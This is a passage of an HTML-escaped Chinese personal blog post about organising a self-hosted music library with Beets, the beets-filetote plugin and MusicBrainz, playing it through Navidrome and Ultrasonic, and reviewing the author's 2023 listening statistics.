&lt;p&gt;但是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;选择了简单方案：甭管用什么字符分隔，把所有人都当成一位艺术家来记录（这就是为什么我曾经有一个文件夹叫&lt;code&gt;蔡琴, 余天, 蘇芮, 潘越雲, 甄妮, 李建復, 林慧萍, 王芷蕾, 黃鶯鶯, 洪榮宏, 陳淑樺, 娃娃, 王夢麟, 李珮菁, 費玉清, 齊豫, 鄭怡, 江蕙 &amp;amp; 楊林&lt;&#x2F;code&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;beetbox&#x2F;beets&#x2F;pull&#x2F;4743&quot;&gt;热心网友在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;4743&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pull
Request&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中添加了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;artists&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等元数据&lt;&#x2F;a&gt;，但我还是觉得直接&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;rewrite&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;更方便些。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;导入非音乐文件&quot;&gt;导入非音乐文件&lt;&#x2F;h4&gt;
&lt;p&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;只会在导入专辑时移走专辑封面和音乐文件&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-11&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-11-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-11-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[11]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-11-content&quot;&gt;甚至有时连&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cover.jpg&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;都会被落下，替换成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在网上找到的封面。我还没摸清规律。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;如果想保留其他辅助文件——比如&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;rip&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;log——则需要借助插件来达成目标。目前用于移动非音乐文件，且仍在维护的插件是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;gtronset&#x2F;beets-filetote&#x2F;&quot;&gt;beets-filetote&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-12&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-12-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-12-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[12]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-12-content&quot;&gt;nixpkgs&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中没有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;beets-filetote&lt;&#x2F;code&gt;。所以&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;sinofp&#x2F;nur&#x2F;blob&#x2F;master&#x2F;pkgs&#x2F;beets-filetote&#x2F;default.nix&quot;&gt;我在自己的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;NUR&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中打包了这个插件&lt;&#x2F;a&gt;。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;使用如下配置即可在导入时保留&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;toc、cue、m3u、log&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;文件，以及和歌曲文件同名的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;lrc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;歌词。它还可以打印落下的文件——一般来说是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;本体会负责的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cover.jpg。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;filetote&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  extensions&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; .toc .cue .m3u .log&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  pairing&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;    enabled&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;    extensions&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; .lrc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;  print_ignored&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;说到歌词，其实我没怎么特意整理歌词，因为我的播放器对歌词的支持很差&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-13&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-13-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-13-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[13]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-13-content&quot;&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;navidrome&#x2F;navidrome&#x2F;issues&#x2F;491#issuecomment-946782864&quot;&gt;Navidrome&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;只能显示&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;LYRICS&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;标签中的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;synced
lyrics&lt;&#x2F;a&gt;。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;但是，我个人认为歌词不应该和音乐分成两个文件，所以我会把带时间戳的歌词写入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;LYRICS&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;标签，把不带的歌词写入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;UNSYNCEDLYRICS&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;还有，我不认同把封面嵌入歌曲文件的做法——封面是整张专辑的属性，应该放在专辑所在的文件夹里。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;音乐脑滋（MusicBrainz）：还是自动挡的车好开&quot;&gt;&lt;ruby&gt;音乐脑滋&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;MusicBrainz&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;：还是自动挡的车好开&lt;&#x2F;h3&gt;
&lt;p&gt;MusicBrainz&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是一个超大的音乐数据库：从一张专辑在不同地区发行的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;release，到每首歌曲的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;engineer、lyricist&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;都是谁……你能想到的信息它统统都有（有位置让你填&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。这个数据库对我来说尤其重要，因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Whipper、Beets&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;都是靠它来补全专辑信息的。&lt;&#x2F;p&gt;
&lt;p&gt;我在去年曾简单介绍过&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;good-bye-music-subscriptions&#x2F;#%E7%BC%96%E8%BE%91MusicBrainz&quot;&gt;如何手动编辑&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MusicBrainz&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;条目&lt;&#x2F;a&gt;，但是今年我不再一个框一个框地填了——因为我发现了自动化的方法&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-14&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-14-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-14-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[14]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-14-content&quot;&gt;MusicBrainz&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上的数据那么全，为什么我还要自己填写？因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MusicBrainz&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上大部分&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;release&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Media&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CD&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;或者&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Vinyl，而我的很多歌曲是从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Deezer&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上下载的，Media&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;应该是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Digital
Media。不同的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Media&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;算是同一&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Release
group&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的不同&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;release。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;在我翻&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MusicBrainz&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上的编辑记录时，发现很多模板生成的编辑记录，如：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;https:&#x2F;&#x2F;atisket.pulsewidth.org.uk&#x2F;?cached=652637…&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;with data from the Deezer + Spotify + iTunes APIs&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;== Vendor links ==&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;https:&#x2F;&#x2F;www.deezer.com&#x2F;album&#x2F;10966642&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;https:&#x2F;&#x2F;open.spotify.com&#x2F;album&#x2F;2IOkphZwsrRk1nWRk…&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;https:&#x2F;&#x2F;music.apple.com&#x2F;gb&#x2F;album&#x2F;1027461699&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;== Vendor API links ==&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;https:&#x2F;&#x2F;api.deezer.com&#x2F;album&#x2F;10966642&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;https:&#x2F;&#x2F;api.spotify.com&#x2F;v1&#x2F;albums&#x2F;2IOkphZwsrRk1n…&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Cached: https:&#x2F;&#x2F;atisket.pulsewidth.org.uk&#x2F;cached&#x2F;spotify…&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;https:&#x2F;&#x2F;itunes.apple.com&#x2F;gb&#x2F;lookup?id=1027461699…&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;出于好奇，我点开了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;atisket.pulsewidth.org.uk&#x2F;&quot;&gt;https:&#x2F;&#x2F;atisket.pulsewidth.org.uk&#x2F;&lt;&#x2F;a&gt;，从此再也不用开手动挡汽车了。这个网站会帮你收集&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Deezer、Spotify&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;iTunes&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上同一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Universal
Product
Code（UPC）的专辑，然后填好音乐家、专辑名、唱片公司、发行地区等信息。你需要做的仅仅是确认一下即可。&lt;&#x2F;p&gt;
&lt;p&gt;自从用了它，我导&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Deezer&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;专辑的速度飞快。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;播放&quot;&gt;播放&lt;&#x2F;h2&gt;
&lt;p&gt;去年促使我整理自己音乐收藏的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Navidrome&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;服役到了今年。不过，其实写完那篇博文没多久我就开始用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ultrasonic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在手机上听歌了（Ultrasonic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Subsonic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;协议连通多个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Navidrome&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;实例&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-15&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-15-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-15-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[15]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-15-content&quot;&gt;去年刚用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ultrasonic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时，总会遇到歌曲放着放着在中间突然结束的问题，但今年已经没有了——大概是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;bug&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;已经被修复了。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;总体来说，Ultrasonic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;界面简洁，功能够用，被我一直用到现在。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Screenshot_20231217-123524.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;Screenshot_20231217-123524.png&quot;
	alt=&quot;Ultrasonic的播放界面&quot;
	height=&quot;1920&quot;
	width=&quot;864&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Screenshot_20231217-123528.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;Screenshot_20231217-123528.png&quot;
	alt=&quot;Ultrasonic的专辑界面&quot;
	height=&quot;1920&quot;
	width=&quot;864&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;今年还试过一款叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Symfonium&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Subsonic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;客户端。它功能更强，界面更——不能说更好看，只能说更精致。鉴于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ultrasonic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;开源，Symfonium&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;闭源，我最后还是选择了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ultrasonic。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Bonus_Track：2023的音乐统计&quot;&gt;Bonus Track：2023&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的音乐统计&lt;&#x2F;h2&gt;
&lt;p&gt;仿照上一篇，在末尾我也想谈一谈&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2023&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年的音乐统计。23&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年一整年我都在用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ListenBrainz&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;统计我的音乐收听记录，大家可以直接访问&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; title=&quot;Year in Music 2023 for 好的计算机 - ListenBrainz&quot; href=&quot;https:&#x2F;&#x2F;archive.vn&#x2F;eKRUc&quot;&gt;ListenBrainz&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;为我生成的年终报告&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;我从大概十月开始陷入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;my bloody
valentine（下称&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;mbv）无法自拔，所以在年度报告中看到自己&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;23&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年听得最多的专辑竟然是《The
Stone
Roses》时，还是有些惊讶的。这张专辑是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;22&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年使用苹果音乐时听得第五多的——让我们恭喜这支乐队勇夺殊荣。&lt;&#x2F;p&gt;
&lt;p&gt;22&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年苹果音乐播放次数最多的专辑是《The
Soft
Machine&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，共&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;102&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次；23&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年的《The
Stone
Roses》是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;268&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;次。我不清楚两家的计数方式是否一致，所以不评价。&lt;&#x2F;p&gt;
&lt;p&gt;可以比较的是总播放的小时数：22&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年在苹果音乐上是“1,753&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;首歌，共&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;19,786&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;分钟——相当于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;13.7&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;天&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;；23&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ListenBrainz&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是“10894&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;首歌，至少一个月&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。播放数量暴涨的原因可能是整理了自己的音乐库之后，不再用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;YouTube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;听歌了，所以有记录的播放增加了。&lt;&#x2F;p&gt;
&lt;p&gt;风格方面：排名前五仍然有硬摇滚和另类摇滚——不过我仍然闹不清区别。排名第五的经典摇滚是什么？抱歉呐，我也不懂。不过，我倒是很懂排名第四的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;prog
rock&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是什么&lt;span id=&#x27;fn-16&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-16-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-16-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[16]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-16-content&quot;&gt;大家似乎喜欢把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;prog
rock&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;翻译成前卫摇滚，或者干脆简称为前摇。但是前卫不应该是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;avant-garde&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;么？我也见有人把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;progressive&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;翻译成渐进，这样确实更贴近字典意（之一&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，但仍然很生硬。私以为还是应该叫进步摇滚。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;——用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mellotron&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;prog
rock&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-17&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-17-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-17-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[17]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-17-content&quot;&gt;说到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mellotron——我好想要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Electro-Harmonix
MEL9&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;啊啊啊啊啊啊啊啊啊！&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;好的计算机-overview-2023.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;好的计算机-overview-2023.png&quot;
	alt=&quot;&quot;
	height=&quot;924&quot;
	width=&quot;924&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;好的计算机-top-albums-2023.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;好的计算机-top-albums-2023.png&quot;
	alt=&quot;&quot;
	height=&quot;924&quot;
	width=&quot;924&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;大概十月份时，我又创建了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;last.fm&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;账号。所以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;22&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年我还得到了一份不完整的年度报告——这个报告倒是和我的记忆相符：沉迷&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;mbv&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不可自拔：排名第一的艺人是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;mbv，播放数前五的歌曲都来自&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;mbv，播放数前二的专辑也来自&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;mbv，播放最多的音乐分类也是近乎由&lt;span 